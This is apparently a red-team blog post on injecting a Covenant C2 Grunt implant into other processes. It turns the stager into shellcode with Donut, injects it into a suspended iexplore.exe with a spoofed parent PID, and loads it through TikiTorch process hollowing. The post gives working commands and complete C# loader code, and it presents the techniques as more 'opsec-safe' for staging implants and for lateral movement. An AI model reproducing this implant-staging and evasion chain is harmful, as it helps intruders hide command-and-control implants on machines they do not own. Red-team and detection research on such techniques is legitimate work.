Covenant v0.1 was first released in February 2019 and has since received a lot of really good updates. v0.2 was released in May which added p2p comms over SMB named pipes, and v0.3 was released in August which added a brand new web interface. Even though it’s such a young project, it has really proven itself to be a capable tool for offensive operators. I’ve not taken a look at Covenant since v0.1.x but since providing some new additions to SharpSploit, it kinda got my geek going. One of my areas of interest is weaponising the Grunt stager.

At the time of writing, Covenant has 9 Launchers.

The reason these exist is fairly obvious if you’ve been working with C# tooling for any length of time. The Grunt Stager is a C# application that compiles to a .NET Framework binary. These Launchers represent several methods that we’ve become accustomed to using, to execute C#/.NET tooling in “interesting” ways.

Coming from a Cobalt Strike (and even a Metasploit Framework) background, the most notable “feature” missing here is shellcode. There is no Grunt shellcode, and without this, doing any sort of fancy process injection is kinda hard.

Donut

TheWover and Odzhan changed the landscape somewhat by releasing Donut.

Donut is a shellcode generation tool that creates position-independant shellcode payloads from .NET Assemblies. This shellcode may be used to inject the Assembly into arbitrary Windows processes.

So this allows us to take a compiled Grunt Stager (i.e. GruntStager.exe) and turn it into PIC that we can use with various process injection techniques. It also has some other interesting features such as a modular AMSI bypass system (for .NET 4.8+).

Injection Test

A cool (imo) method of process injection is to create a new process in a suspended state, allocate a new region of ReadWrite memory in that process, copy the desired shellcode across, change the memory protection to ReadExecute and finally create a new thread that runs in the virtual address space of that shellcode.

To obtain GruntStager.exe, simply create a listener and use the Binary Launcher. Then use donut to create the PIC.

C:\Users\Daniel>D:\Tools\donut\donut.exe -f Downloads\GruntStager.exe -o D:\Tools\GruntStager.bin

Base64 encode GruntStager.bin with [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("D:\Tools\GruntStager.bin")) | clip , and paste onto line 16 of the following gist:

This is 64-bit shellcode, so ensure the above is compiled as a 64-bit binary.

Now we can run it, providing a process to inject into and the PPID to spoof. In this example, we’re using iexplore.exe PPID’d to Explorer.

C:\Users\user1\Desktop>GruntInjector.exe "C:\Program Files\Internet Explorer\iexplore.exe" 4084


TikiTorch

We can even use this shellcode with TikiTorch and it’s Process Hollowing capabilities.

PS C:\Users\Daniel> Get-CompressedShellcode -inFile D:\Tools\GruntStager.bin -outFile D:\Tools\TikiGruntStager.txt

using System;
using System.Diagnostics;

using TikiLoader;

public class TikiSpawn
{
    private static int FindProcessPid(string process)
    {
        int pid = 0;
        int session = Process.GetCurrentProcess().SessionId;
        Process[] processes = Process.GetProcessesByName(process);

        foreach (Process proc in processes)
        {
            if (proc.SessionId == session)
                pid = proc.Id;
        }

        return pid;

    }

    public static void Flame()
    {
        string binary = @"C:\Program Files\Internet Explorer\iexplore.exe";
        byte[] shellcode = Loader.DecompressShellcode(Convert.FromBase64String("H4sI[...snip...]nwAA"));
        int ppid = FindProcessPid("explorer");

        try
        {
            var ldr = new Loader();
            ldr.Load(binary, shellcode, ppid);
        }
        catch {
            // pokemon
        }
    }
}
PS C:\Users\user1> $TikiSpawn = [System.IO.File]::ReadAllBytes("C:\Users\user1\Desktop\TikiSpawn.dll")
PS C:\Users\user1> [System.Reflection.Assembly]::Load($TikiSpawn)

GAC    Version        Location
---    -------        --------
False  v4.0.30319


PS C:\Users\user1> [TikiSpawn]::Flame()


Conclusion

What I’ve shown here is not meant to replace any of the existing Launchers, but the techniques can lend extra flexibility when staging Grunts. For example, the default PowerShell Launcher stages a Grunt in powershell.exe with the following process tree.

Where, as we’ve seen above, process injection techniques with PIC allows us to be more opsec-safe (in some areas). And if donut (or something like it) were to be integrated into Covenant, we’d be able to easily make additional post-exploitation Tasks such as injecting Grunts into other users’ process, and more opsec-safe lateral movement.